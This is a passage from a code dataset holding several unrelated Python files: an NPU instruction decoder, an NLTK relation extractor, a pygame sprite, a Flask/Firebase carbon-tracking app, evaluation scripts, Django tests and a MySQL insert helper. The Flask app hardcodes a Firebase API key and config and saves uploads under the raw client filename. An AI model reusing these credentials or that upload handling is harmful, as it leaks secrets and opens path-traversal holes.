Stop\\n\\n\\n\"\n\n elif opcode == Softmax:\n o_num = inst_bin[write.Softmax_list['o_num'][0]:write.Softmax_list['o_num'][1] - 1:-1]\n i_num = inst_bin[write.Softmax_list['i_num'][0]:write.Softmax_list['i_num'][1] - 1:-1]\n dest_addr = inst_bin[write.Softmax_list['dest_addr'][0]:write.Softmax_list['dest_addr'][1] - 1:-1]\n src_addr = inst_bin[write.Softmax_list['src_addr'][0]:write.Softmax_list['src_addr'][1] - 1:-1]\n buffer_flag = inst_bin[write.Softmax_list['buffer_flag'][0]:write.Softmax_list['buffer_flag'][1] - 1:-1]\n\n str1 = \"inst name : Softmax\\n\"\n str1 = str1 + \"o_num: %s(%s)\\n\" % (o_num, str(int(o_num, 2)))\n str1 = str1 + \"i_num: %s(%s)\\n\" % (i_num, str(int(i_num, 2)))\n str1 = str1 + \"dest_addr: %s(%s)\\n\" % (dest_addr, hex(int(dest_addr, 2)))\n str1 = str1 + \"o_num: %s(%s)\\n\" % (src_addr, hex(int(src_addr, 2)))\n str1 = str1 + \"buffer_flag: %s(%s)\\n\" % (buffer_flag, str(int(buffer_flag, 2)))\n\n counter_inst = counter_inst + 1\n decoded_file.write(str1)\n\n inst_file.close()\n decoded_file.close()\n","sub_path":"combine_npu_cpu/complier_resnet/utils/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":14215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"248566872","text":"import nltk\nimport time\nimport uuid\nimport logging\nimport re\nimport nltk.chunk\nimport itertools\nfrom nltk.tag import TaggerI, untag\nfrom nltk.chunk import ChunkParserI, tree2conlltags, conlltags2tree\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom chunkers import BigramChunker\n\nclass Relations():\n chunker = None\n\n def __init__(self,chunker):\n #self.rpc_client = RpcClient()\n self._logger = logging.getLogger(\"relations\")\n self.chunker = chunker\n\n def extract_triples(self, sentence, normalize=False, lex_syn_constraints=False, allow_unary=False, short_rel=False):\n np_chunks_tree = self._get_chunks(sentence)\n reverb = Reverb(sentence, np_chunks_tree, normalize, lex_syn_constraints, allow_unary, short_rel)\n triples = reverb.extract_triples()\n return triples\n\n def _get_chunks(self, sentence):\n l = nltk.pos_tag(nltk.word_tokenize(sentence))\n parsed_sent = self.chunker.parse(l)\n return parsed_sent\n\nclass Reverb():\n \"\"\"\n Approximately Reverb (regex part of it) translation.\n \"\"\"\n def __init__(self, sentence, np_chunks_tree, normalize, lex_syn_constraints, allow_unary, short_rel):\n \"\"\"\n :param lex_syn_constraints: Use syntactic and lexical constraints.\n :param allow_unary: allow unary relations (\"the book is published\").\n \"\"\"\n self.sentence = sentence\n self.np_chunks_tree = np_chunks_tree\n self.normalize = normalize\n self.lex_syn_constraints = lex_syn_constraints\n self.allow_unary = allow_unary\n self.pos_tags = nltk.pos_tag(nltk.word_tokenize(self.sentence))\n self.short_rel = short_rel\n self._logger = logging.getLogger(\"relations\")\n\n def extract_triples(self):\n \"\"\"\n Extracts (subject predicate object) triples from the given sentence. Returns a list of triples.\n \"\"\"\n # verb = optional adverb [modal or other verbs] optional particle/adverb\n verb = \"???\"\n preposition = \"??\"\n word = \"\"\n cp = None\n if self.short_rel:\n short_rel_pattern = \"(%s(%s)?)+\" % (verb, preposition)\n grammar_short = \"REL: {%s}\" % short_rel_pattern\n cp = nltk.RegexpParser(grammar_short)\n else:\n long_rel_pattern = \"(%s(%s*(%s)+)?)+\" % (verb, word, preposition)\n grammar_long = \"REL: {%s}\" % long_rel_pattern\n cp = nltk.RegexpParser(grammar_long)\n tree = cp.parse(self.pos_tags)\n self._logger.info(\"rel: %s\" % tree)\n #triples = self._get_triples(tree)\n triples = self._get_relational_word(tree)\n return triples\n\n def _get_relational_word(self, tree):\n relation = \"\"\n left_part = \"\"\n right_part = \"\"\n triples = []\n relations = []\n normalized_relations = []\n non_relations = []\n rel_indices = []\n curr = \"\"\n index = 0\n for t in tree:\n if type(t) == nltk.Tree and t.label() == \"REL\":\n rel_ind = (index, index + len(t.leaves()))\n rel_indices.append(rel_ind)\n relation = \" \".join(map(lambda x : x[0], t.leaves()))\n relations.append(relation)\n if self.normalize:\n norm_rel = self.verb_rel_normalize(rel_ind)\n else:\n norm_rel = relation\n normalized_relations.append(norm_rel)\n non_relations.append(curr.strip())\n curr = \"\"\n index += len(t.leaves())\n else:\n curr += \" \" + t[0]\n index += 1\n return normalized_relations\n\n def _get_triples(self, tree):\n relation = \"\"\n left_part = \"\"\n right_part = \"\"\n triples = []\n relations = []\n normalized_relations = []\n non_relations = []\n rel_indices = []\n curr = \"\"\n index = 0\n for t in tree:\n if type(t) == nltk.Tree and t.label() == \"REL\":\n rel_ind = (index, index + len(t.leaves()))\n rel_indices.append(rel_ind)\n relation = \" \".join(map(lambda x : x[0], t.leaves()))\n relations.append(relation)\n if self.normalize:\n norm_rel = self.verb_rel_normalize(rel_ind)\n else:\n norm_rel = relation\n normalized_relations.append(norm_rel)\n non_relations.append(curr.strip())\n curr = \"\"\n index += len(t.leaves())\n else:\n curr += \" \" + t[0]\n index += 1\n if curr.strip() != \"\": # if relation is the last item in the tree drop the following appending\n non_relations.append(curr.strip())\n for ind, rel in enumerate(relations):\n left_part = non_relations[ind]\n right_part = \"\"\n if ind + 1 < len(non_relations):\n right_part = non_relations[ind + 1]\n else:\n break\n left_arg = self._get_left_arg(rel, rel_indices[ind][0], left_part)\n right_arg = self._get_right_arg(rel, rel_indices[ind][1], right_part)\n if self.lex_syn_constraints:\n if not self._is_relation_lex_syn_valid(rel, rel_indices[ind]):\n continue\n if not self.allow_unary and right_arg == \"\":\n continue\n if left_arg == \"\":\n # todo: try to extract left_arg even the subject is for example before comma like in\n # the following sentence (for \"has\" relation):\n # This chassis supports up to six fans , has a complete black interior\n continue\n triples.append((left_arg, normalized_relations[ind], right_arg))\n return triples\n\n def _is_relation_lex_syn_valid(self, relation, rel_indices):\n \"\"\"\n Checks syntactic and lexical constraints on the relation.\n \"\"\"\n if len(relation) < 2: # relation shouldn't be a single character\n return False\n pos_tags = map(lambda x : x[1], self.pos_tags[rel_indices[0] : rel_indices[1]])\n rel_words = map(lambda x : x[0], self.pos_tags[rel_indices[0] : rel_indices[1]])\n # these POS tags and words cannot appear in relation: CC, \",\", PRP, \"that\", \"if\":\n forbidden_tags = [\"CC\", \"PRP\"]\n if len(set(pos_tags).intersection(set(forbidden_tags))) > 0:\n return False\n forbidden_words = [\",\", \"that\", \"if\"]\n if len(set(rel_words).intersection(set(forbidden_words))) > 0:\n return False\n # The POS tag of the first verb in the relation cannot be VBG or VBN:\n for tag in pos_tags:\n if tag[:2] == \"VB\":\n if tag == \"VBG\" or tag == \"VBN\":\n return False\n else:\n break\n # The previous tag can't be an existential \"there\" or a TO:\n if self.pos_tags[rel_indices[0] - 1][1] in [\"EX\", \"TO\"]:\n return False\n return True\n\n def _get_left_arg(self, relation, left_rel_border, left_part):\n candidate = \"\"\n word_ind = 0 #count words to see if we are still on the left side of the relation\n for t in self.np_chunks_tree:\n if type(t) != nltk.Tree:\n word_ind += 1\n else: # don't need to check if t.node == \"NP\", because we have only an NP chunker here\n word_ind += len(t.leaves())\n #leaves = \" \".join(map(lambda x : x.split(\"/\")[0], t.leaves()))\n leaves = \" \".join(map(lambda x : x[0], t.leaves()))\n if word_ind > left_rel_border: # check if we are already on the right side of the relation\n break\n if not leaves in left_part:\n # could be that leaves are for example part of previous relation or previous left_arg\n # left_part currently contains only words after previous relation and before current relation\n # todo: this should be actually changed if we want to be able to\n # extract subjects that are \"far\" away from the relation\n continue\n if len(t) == 1:\n #word = t[0].split(\"/\")[0]\n #tag = t[0].split(\"/\")[1]\n word = t[0][0]\n tag = t[0][1]\n if tag == \"EX\": # first argument can't be an existential \"there\"\n continue\n if tag == \"WDT\" or tag == \"WP$\" or tag == \"WRB\" or tag == \"WP\": #first argument can't be a Wh word\n continue\n if tag == \"IN\": # first argument can't be a preposition\n continue\n if word == \"that\" or word == \"which\":\n continue\n reflexive_pronouns = [\"myself\", \"yourself\", \"himself\", \"herself\", \"itself\", \"oneself\", \"ourselves\",\\\n \"ourself\", \"yourselves\", \"themselves\"]\n if word in reflexive_pronouns:\n continue\n cand = leaves\n # First argument can't match \"ARG1, REL\" \"ARG1 and REL\" or \"ARG1, and REL\"\n if re.findall(\"%s\\s*,\\s*%s\" % (cand, relation), self.sentence):\n continue\n if re.findall(\"%s\\s*and\\s*%s\" % (cand, relation), self.sentence):\n continue\n if re.findall(\"%s\\s*,\\s*and\\s*%s\" % (cand, relation), self.sentence):\n continue\n arg_indices = (word_ind - len(t.leaves()), word_ind)\n if self.normalize:\n candidate = self.arg_normalize(arg_indices)\n else:\n candidate = cand\n # First argument should be closest to relation that passes through filters (means don't break the loop here)\n return candidate\n\n def _get_right_arg(self, relation, right_rel_border, right_part):\n candidate = \"\"\n word_ind = 0 #count words to see if we are on the right side of the relation\n for t in self.np_chunks_tree:\n if type(t) != nltk.Tree:\n word_ind += 1\n else:\n word_ind += len(t.leaves())\n #leaves = \" \".join(map(lambda x : x.split(\"/\")[0], t.leaves()))\n leaves = \" \".join(map(lambda x : x[0], t.leaves()))\n if word_ind < right_rel_border: # check if we are still on the left side of the relation\n continue\n if not leaves in right_part:\n # right_part currently contains only words after current relation and before next relation\n continue\n if len(t) == 1:\n #word = t[0].split(\"/\")[0]\n #tag = t[0].split(\"/\")[1]\n word = t[0][0]\n tag = t[0][1]\n if tag == \"WDT\" or tag == \"WP$\" or tag == \"WRB\" or tag == \"WP\": #first argument can't be a Wh word\n continue\n if word == \"which\":\n continue\n cand = leaves\n # Second argument should be adjacent to the relation\n if not re.findall(\"%s\\s*%s\" % (relation, cand), self.sentence):\n continue\n arg_indices = (word_ind - len(t.leaves()), word_ind)\n if self.normalize:\n candidate = self.arg_normalize(arg_indices)\n else:\n candidate = cand\n # Second argument should be closest to relation that passes through filters (break the loop)\n break\n return candidate\n\n def verb_rel_normalize(self, rel_indices):\n ignore_pos_tags = []\n ignore_pos_tags.append(\"MD\") # can, must, should\n ignore_pos_tags.append(\"DT\") # the, an, these\n ignore_pos_tags.append(\"PDT\") # predeterminers\n ignore_pos_tags.append(\"WDT\") # wh-determiners\n ignore_pos_tags.append(\"JJ\") # adjectives\n ignore_pos_tags.append(\"RB\") # adverbs\n ignore_pos_tags.append(\"PRP$\") # my, your, our\n # remove leading \"be\", \"have\", \"do\"\n aux_verbs = []\n aux_verbs.append(\"be\");\n aux_verbs.append(\"have\");\n aux_verbs.append(\"do\");\n no_noun = True\n relation = \"\"\n pos_tags = self.pos_tags[rel_indices[0]:rel_indices[1]]\n for _word, pos_tag in pos_tags:\n if pos_tag[0] == \"N\":\n no_noun = False\n break\n lmtzr = WordNetLemmatizer()\n for ind, (word, pos_tag) in enumerate(pos_tags):\n is_adj = pos_tag[0] == \"J\"\n # This is checking for a special case where the relation phrase\n # contains an adjective, but no noun. This covers cases like\n # \"is high in\" or \"looks perfect for\" where the adjective carries\n # most of the semantics of the relation phrase. In these cases, we\n # don't want to strip out the adjectives.\n keep_adj = is_adj and no_noun\n if pos_tag in ignore_pos_tags and not keep_adj:\n continue\n else:\n if pos_tag[0] in [\"N\", \"V\"]:\n pos = pos_tag[0].lower()\n new_word = lmtzr.lemmatize(word, pos)\n if new_word in aux_verbs and ind + 1 < len(pos_tags) and pos_tags[ind + 1][1][0] == \"V\":\n pass\n else:\n relation += \" \" + new_word\n return relation.strip()\n\n def arg_normalize(self, arg_indices):\n \"\"\"If the field contains a proper noun, don't normalize\n If the field contains a tag starting with N, return the rightmost one - stemmed\n Otherwise, don't normalize.\n \"\"\"\n contains_proper_noun = False\n last_noun_index = -1\n start = arg_indices[0]\n end = arg_indices[1]\n pos_tags = self.pos_tags[start:end]\n for ind, (_word, pos_tag) in enumerate(pos_tags):\n if pos_tag in [\"NNP\", \"NNPS\"]:\n contains_proper_noun = True\n if pos_tag[0] == \"N\":\n last_noun_index = ind\n if contains_proper_noun or last_noun_index == -1:\n not_changed = map(lambda x : x[0], self.pos_tags[start:end])\n not_changed = \" \".join(not_changed)\n return not_changed\n else:\n last_noun = pos_tags[last_noun_index][0]\n lmtzr = WordNetLemmatizer()\n new_word = lmtzr.lemmatize(last_noun, \"n\")\n return new_word\n","sub_path":"BREDS/reverb/relations.py","file_name":"relations.py","file_ext":"py","file_size_in_byte":14901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"466862383","text":"import sys\r\n\r\nimport global_config\r\nimport jianshu\r\n\r\n\r\nclass Blog(object):\r\n if __name__ == '__main__':\r\n if len(sys.argv) == 1:\r\n print('Please refer to a markdown file to post.')\r\n else:\r\n md_file = sys.argv[1]\r\n print(\"Post the markdown file is {}\".format(md_file))\r\n\r\n # 简书\r\n if global_config.jianshu:\r\n jian_shu = jianshu.JianShu(md_file)\r\n jian_shu.start_post()\r\n","sub_path":"blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"105240085","text":"import pygame\nfrom pygame.sprite import Sprite\n\nclass Fireball(Sprite):\n \"\"\"A class to manage fireballs fired from Bowser\"\"\"\n\n def __init__(self, ai_game):\n \"\"\"Create an fireball object\"\"\"\n super().__init__()\n self.screen = ai_game.screen\n self.settings = ai_game.settings\n\n # Load the fireball image and get its rect\n self.image = pygame.image.load(\"C:/William/git/python/SimpleMarioGame/images/fireball.png\")\n self.image = pygame.transform.scale(self.image, (80, 60))\n self.rect = self.image.get_rect()\n\n self.rect.midright = ai_game.bowser.rect.midleft\n\n # Store the bullet's position as a decimal value.\n self.x = float(self.rect.x)\n\n self.fireball_hp = self.settings.fireball_hp\n\n def update(self):\n \"\"\"Move the fireball up the screen.\"\"\"\n # Update the decimal position of the bullet.\n self.x -= self.settings.fireball_speed\n # Update the rect position\n self.rect.x = self.x","sub_path":"Jump/fireball.py","file_name":"fireball.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"44248362","text":"# modules\nfrom flask import Flask, redirect, url_for, render_template, request\nfrom werkzeug.utils import secure_filename\nimport pyrebase\nimport json\nimport os\nimport shutil\nimport time\nimport datetime\n\n# model.py, swap.py, impact.py\nimport model\nimport swap\nimport comps\n\n# Initialize firebase\nfirebaseConfig = {\n \"apiKey\": \"AIzaSyD-kuTNL1EcxwnCgM4_0x9oyO_k7IdzATI\",\n \"authDomain\": \"sub-it-a29ca.firebaseapp.com\",\n \"databaseURL\": \"https://sub-it-a29ca-default-rtdb.firebaseio.com/\",\n \"projectId\": \"sub-it-a29ca\",\n \"storageBucket\": \"sub-it-a29ca.appspot.com\",\n \"messagingSenderId\": \"744036348319\",\n \"appId\": \"1:744036348319:web:8677ea4aeddccdda3fcdaa\",\n \"measurementId\": \"G-STLRB5PMY1\"\n}\n\n# Firebase integration\nfirebase = pyrebase.initialize_app(firebaseConfig)\nauth = firebase.auth()\nuser = None\nuserID = None\ndb = firebase.database()\n\n# Build ML model\nmodelVar = model.buildModel()\n\n# Open ingredients JSON\nwith open(\"./alt_ingr.json\", 'r') as fp:\n alt_ingr = json.load(fp)\n\nwith open(\"./ingr_co2.json\", 'r') as fp:\n ingr_co2 = json.load(fp)\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef home():\n # Redirect root to dashboard\n return redirect(url_for(\"dash\"))\n\n@app.route(\"/signin\")\ndef signin():\n # Signin page\n return render_template(\"signin.html\")\n\n@app.route(\"/handlesignin\", methods=['GET', 'POST'])\ndef handlesignin():\n global user, userID, auth, db\n # Extract email and password from HTML form\n email = request.form['email']\n password = request.form['password']\n\n # Sign in user firebase and store user ID\n userID = auth.sign_in_with_email_and_password(email, password)['localId']\n\n # Get user data from firebase realtime database\n user = db.child(\"users\").child(userID).get().val()\n\n # reset daily/weekly data\n data = user['data']\n history = data['history']\n now = datetime.datetime.now()\n midnight = now.replace(hour=0, minute=0, second=0, microsecond=0).timestamp()\n if len(history) > 1 and history[len(history) - 1]['time'] < midnight:\n # If most recent sub was yesterday, reset daily goal achieved to 0\n data['dailyGoalAchieved'] = 0\n if datetime.datetime.today().weekday() == 0:\n # if today is monday, then reset weekly data to all 0s\n # this only runs if no subs have been made today\n data['weekly'] = [0, 0, 0, 0, 0, 0, 0]\n db.child('users').child(userID).update({'data': data})\n return user\n\n@app.route(\"/handlesignout\", methods=['GET', 'POST'])\ndef handlesignout():\n global user, auth\n \n # If user is logged in, sign out user firebase\n if user is not None:\n print(\"signing out\")\n user = None\n auth.current_user = None\n return (\"Signed out successfully\")\n raise Exception(\"Nobody is signed in\")\n\n@app.route(\"/signup\")\ndef signup():\n # Sign up page\n return render_template(\"signup.html\")\n\n@app.route(\"/handlesignup\", methods=['GET', 'POST'])\ndef handlesignup():\n global db, auth\n\n # Extract and password from HTML form\n email = request.form['email']\n password = request.form['password']\n\n # Create account in firebase and store userID\n userID = auth.create_user_with_email_and_password(email, password)\n\n # Initialize user data that will go into realtime database\n userData = {\n 'data': {\n 'history': {\n 0: 0\n },\n 'weekly': {\n 0: 0,\n 1: 0,\n 2: 0,\n 3: 0,\n 4: 0,\n 5: 0,\n 6: 0\n },\n 'dailyGoal': 0,\n 'dailyGoalAchieved': 0,\n 'joined': datetime.datetime.now.timestamp(),\n 'subbed': 0\n },\n 'email': email,\n 'fname': request.form['fname'],\n 'lname': request.form['lname']\n }\n\n # Update realtime database with new user data\n db.child(\"users\").child(userID['localId']).set(userData)\n return userData\n\n@app.route(\"/dashboard\")\ndef dash():\n # Dashboard page\n global user\n if user is not None:\n return render_template(\"index.html\", user=user)\n else:\n return render_template(\"index.html\", user=None)\n\n@app.route(\"/setgoal\", methods=['GET', 'POST'])\ndef setGoal():\n # Set goal for new users\n global db, user, userID\n\n # Extract new goal from HTML form\n newGoal = int(request.form['newGoal'])\n\n # Update realtime database with new goal\n msg = db.child('users').child(userID).child('data').update({'dailyGoal': newGoal})\n user['data']['dailyGoal'] = newGoal\n return str(newGoal)\n\n@app.route(\"/sub\", methods=['GET', 'POST'])\ndef sub():\n global modelVar, user\n if user is not None:\n # If method is POST, then user is submitting image for processing\n if request.method == 'POST':\n # Extract the image from HTML form\n img = request.files['foodImg']\n # Set filename and path for new image\n filename = './static/img/upload' + img.filename\n # Save the image\n img.save(filename)\n # Call prediction function using model.py\n recipe = model.predict_class(modelVar, [filename], False)\n # Find alternatives using swap.py\n alternatives = swap.findAlts(recipe['ingredients'])\n return render_template(\"sub.html\", user=user, recipe=recipe, alts=alternatives)\n else:\n return render_template(\"sub.html\", user=user, recipe=None, alts=None)\n else:\n return render_template(\"sub.html\", user=None, recipe=None, alts=None)\n\n@app.route(\"/handlesub\", methods=['GET', 'POST'])\ndef handlesub():\n global user, userID, db, alt_ingr, ingr_co2\n # Handle a new sub\n # Get user data from realtime database\n userData = db.child('users').child(userID).child('data').get().val()\n totalSave = float(0)\n for key in request.form:\n # For each food subbed, calculate the savings and add a dict to history in user data\n initCO2 = ingr_co2[key]\n altCO2 = ingr_co2[request.form[key]]\n sub = {\n 'food': key,\n 'alternative': request.form[key],\n 'savings': round(initCO2 - altCO2, 2),\n 'time': int(time.time())\n }\n userData['history'].append(sub)\n\n # Update total savings counter\n totalSave += round(initCO2 - altCO2, 2)\n # Update user data for daily goal, weekly data, and total subs\n userData['weekly'][datetime.datetime.today().weekday()] = round(userData['weekly'][datetime.datetime.today().weekday()] + totalSave, 2)\n userData['dailyGoalAchieved'] = round(userData['dailyGoalAchieved'] + totalSave, 2)\n userData['subbed'] = round(userData['subbed'] + totalSave, 2)\n user['data'] = userData\n\n # Push changes to realtime database\n db.child('users').child(userID).update({'data': userData})\n return str(totalSave)\n\n@app.route(\"/history\")\ndef history():\n global user, userID, db\n if user is not None:\n # Get the sub history from realtime database and render as table\n history = db.child('users').child(userID).child('data').child('history').get().val()\n return render_template(\"history.html\", history=history, user=user)\n else:\n return render_template(\"history.html\", history=None, user=None)\n\n@app.template_filter('ctime')\ndef timectime(s):\n # JINJA filter for history.html to convert timestamp to HH:MM am/pm - Mon Day Year\n theTime = datetime.datetime.fromtimestamp(s)\n return theTime.strftime(\"%I:%M %p - %b %d %Y\")\n\n@app.template_filter('monthyr')\ndef monthyr(s):\n # JINJA filter for index.html to convert timestamp to Month Year\n theTime = datetime.datetime.fromtimestamp(s)\n return theTime.strftime(\"%B %Y\")\n\n@app.route(\"/impact\")\ndef impact():\n # Impact page to show impact of all subs\n global user\n if user is not None:\n comparisons = comps.calculateImpact(user['data']['subbed'])\n return render_template(\"impact.html\", user=user, comps=comparisons)\n else:\n return render_template(\"impact.html\", user=None)\n\n@app.route(\"/about\")\ndef about():\n # Static about page as description of app\n return render_template(\"about.html\")\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"team-submissions/sub-it_team3/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"112306952","text":"#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport os\nimport os.path as osp\nimport sys\n\nimport fcn\nimport numpy as np\nimport scipy.ndimage as ndi\nimport skimage.io\nimport skimage.transform\n\nimport apc2016\n\nsys.path.insert(0, '../apc2015')\nimport forward # NOQA\n\n\nthis_dir = osp.dirname(osp.realpath(__file__))\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--gpu', default=0, type=int,\n help='if -1, use cpu only')\n parser.add_argument('-c', '--chainermodel')\n args = parser.parse_args()\n\n gpu = args.gpu\n chainermodel = args.chainermodel\n\n dataset = apc2016.APC2016Dataset()\n target_names = dataset.target_names\n\n forwarding = forward.Forwarding(gpu, target_names, chainermodel)\n\n stat = {\n 'acc': 0,\n 'acc_cls': 0,\n 'mean_iu': 0,\n 'fwavcc': 0,\n }\n n_data = len(dataset.val)\n for datum in dataset.val:\n img, label_true = dataset.load_datum(datum, train=False)\n img, label_pred, _ = forwarding.forward_img_file(datum['img_file'])\n\n unique_labels = np.unique(label_true)\n label_true = skimage.transform.resize(\n label_true, label_pred.shape,\n order=0, preserve_range=True).astype(np.int32)\n np.testing.assert_array_equal(unique_labels, np.unique(label_true))\n\n label_pred[label_true == -1] = -1\n\n acc, acc_cls, mean_iu, fwavcc = fcn.util.label_accuracy_score(\n label_true, label_pred, len(target_names))\n stat['acc'] += acc\n stat['acc_cls'] += acc_cls\n stat['mean_iu'] += mean_iu\n stat['fwavcc'] += fwavcc\n\n out_img = forwarding.visualize_label(img, label_pred)\n out_dir = osp.join(this_dir, 'forward_out')\n if not osp.exists(out_dir):\n os.makedirs(out_dir)\n out_img_path = osp.join(out_dir, datum['id'] + '.png')\n skimage.io.imsave(out_img_path, out_img)\n print('saved {}'.format(out_img_path))\n stat['acc'] /= n_data\n stat['acc_cls'] /= n_data\n stat['mean_iu'] /= n_data\n stat['fwavcc'] /= n_data\n print('''\nacc: {acc}\nacc_cls: {acc_cls}\nmean_iu: {mean_iu}\nfwavcc: {fwavcc}'''.format(**stat))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/apc2016/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"238220748","text":"import numpy as np\nimport pandas as pd\n\nfrom os import listdir\nfrom os.path import isfile, join\n\nclass Student:\n def __init__(self, group, order, success, csv_file):\n self.group = group\n self.order = order\n self.success = success\n \n self.csv_file = csv_file\n self.snapshot = pd.read_csv(csv_file).values[:, 1:]\n\ndef batch_load(directory, group, success):\n lst = []\n csvs = [f for f in listdir(directory) if f.endswith('.csv')]\n idx = 0\n for f in csvs:\n lst.append(Student(group, idx, success, join(directory, f)))\n idx += 1\n return lst\n\ndef load(filename, group, success):\n idx = filter(str.isdigit, filename)\n return Student(group, idx, success, filename)\n","sub_path":"intelligentHint/server_interface/snap.py","file_name":"snap.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"631852486","text":"\"\"\"\n\t\t\t---------------------------\n\t\t----\t||\tROYECTO INTEGRADOR\t||----\n\t\t\t---------------------------\n\nDocente: Rene Elizalde\nIntegrantes: - Roberto Narvaez\n\t\t\t - Juan Yanza\n\n\"\"\"\n#librerias que necesitamos para menejo de entities_str\nimport pandas as pd\nimport json \ndata = pd.read_csv(\"ods_1_2_definitivo.csv\", sep = \",\", encoding = \"utf-8\")\n\n# obtenemos id_str con entities_str para incorporar con el modelo BD\ndata2 = data[['id_str','entities_str']]\n\n# Transofrmamos de DF a diccionario\ndataFinal = data2.to_dict(\"records\")\n\n#print(dataFinal)\nlista = [{'id_str': l['id_str'], 'entities_str':json.loads(l['entities_str'])} for l in dataFinal if l[\"entities_str\"].__class__ is str]\n\n#print(lista)\n\n# Columna entities con el JSON\nentidades = list(map(lambda x: x['entities_str'], lista))\n\n# Objeto user_mentions\nuser_mentions = list(map(lambda x: x['user_mentions'], entidades))\n\n# id_str para relacionarlo en BD\nid_str = list(map(lambda x: x['id_str'], lista))\n\n# Unión de id con objeto hashtags\nunion = list(zip(id_str, user_mentions))\n\n#print(entidades)\narchivo = open(\"data/data_user_men.csv\",\"a\", encoding=\"utf-8\")\narchivo.write(\"%s\\t%s\\t%s\\t%s\\n\"%(\"ids\", \"screen_name\",\"name\",\"id_mentions\"))\nfor l in union:\n\tfor x in l[1]:\n\t\tarchivo.write(\"%s\\t%s\\t%s\\t%s\\n\"%(l[0], x['screen_name'],x['name'],x['id']))\narchivo.close()\n","sub_path":"id_userm.py","file_name":"id_userm.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"432531121","text":"from django.test import TestCase\n\n# Create your tests here.\nfrom codesnug_2.auth.models import CodesnugUser\nfrom codesnug_2.goals.models import Tag, Workspace, Goal\n\n\nclass GoalTestCaseBase(TestCase):\n def setUp(self):\n self.user1 = CodesnugUser.objects.create_user('prueba@prueba.com', '1111')\n self.user2 = CodesnugUser.objects.create_user('prueba2@prueba2.com', '1111')\n\n self.tag1 = Tag.objects.create(title=\"tag1\", owner=self.user1)\n self.tag2 = Tag.objects.create(title=\"tag2\", owner=self.user2)\n\n self.workspace1 = Workspace.objects.create(title=\"workspace1\", owner=self.user1)\n self.workspace2 = Workspace.objects.create(title=\"workspace2\", owner=self.user2)\n\n self.goal1 = Goal.objects.create(title=\"Goal 1\", description=\"Description 1\", owner=self.user1)\n self.goal1.tags.add(self.tag1)\n self.goal1.workspaces.add(self.workspace1)\n\n\nclass TagTestCase(GoalTestCaseBase):\n def test_create_tags(self):\n tag1 = Tag.objects.get(title=\"tag1\")\n tag2 = Tag.objects.get(title=\"tag2\")\n self.assertIsNotNone(tag1)\n self.assertIsNotNone(tag2)\n\n\nclass WorkspaceTestCase(GoalTestCaseBase):\n def test_create_workspaces(self):\n workspace1 = Workspace.objects.get(title=\"workspace1\")\n workspace2 = Workspace.objects.get(title=\"workspace2\")\n self.assertIsNotNone(workspace1)\n self.assertIsNotNone(workspace2)\n\n\nclass GoalTestCase(GoalTestCaseBase):\n def test_create_goals(self):\n goal1 = Goal.objects.get(title=\"Goal 1\")\n self.assertIsNotNone(goal1)\n self.assertEqual(goal1.tags.count(), 1)\n self.assertEqual(goal1.workspaces.count(), 1)\n","sub_path":"codesnug_2/goals/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"614213829","text":"import json\n\nimport mysql.connector\nimport requests\n\nfrom config import configuration as conf\n\n\nclass Dbase:\n\n @staticmethod\n def sql_connect():\n with open(\"./config/db_params.json\") as f:\n db_params = json.load(f)\n\n conn = mysql.connector.connect(\n **db_params['dbase'])\n return conn\n\n def drop_table(self, tbl_name):\n\n cnx = self.sql_connect()\n cursor = cnx.cursor()\n cursor.execute(\"\"\"DROP TABLE IF EXISTS Categories;\"\"\").format(tbl_name)\n\n @staticmethod\n def create_tbl_recording():\n dbase = Dbase.sql_connect()\n cursor = dbase.cursor()\n cursor.execute(\"USE purbeurre\")\n cursor.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS Records (\n id INT NOT NULL AUTO_INCREMENT,\n code VARCHAR(140) NOT NULL,\n product_name VARCHAR(140) NOT NULL,\n quantity VARCHAR(80),\n brand VARCHAR(140),\n store VARCHAR(140),\n nutriscore VARCHAR(1) NOT NULL,\n url VARCHAR(140) NOT NULL,\n category VARCHAR(140) NOT NULL,\n PRIMARY KEY(id)\n )\n ENGINE=InnoDB\n DEFAULT CHARSET = utf8 COLLATE utf8_unicode_ci;\n \"\"\")\n cursor.execute(\"\"\"\n CREATE UNIQUE INDEX UK_code ON Records (code);\n \"\"\")\n\n @staticmethod\n def insert_tbl_categories(code, category):\n # OPEN DATA\n # print(code, category)\n url = conf.url_product(code)\n r = requests.get(url).json()\n page = json.dumps(r)\n value = json.loads(page)\n # print(value[\"code\"])\n\n cnx = Dbase.sql_connect()\n cur = cnx.cursor()\n cur.execute(\"USE purbeurre\")\n cur.execute(\"\"\"\n INSERT INTO Records(code, product_name, quantity, brand, store,\n nutriscore, url, category)\n VALUES(%s, %s, %s, %s, %s, %s, %s, %s); \"\"\",\n (\n value['code'],\n value['product']['product_name_fr'],\n value['product']['quantity'],\n value['product']['brands'],\n 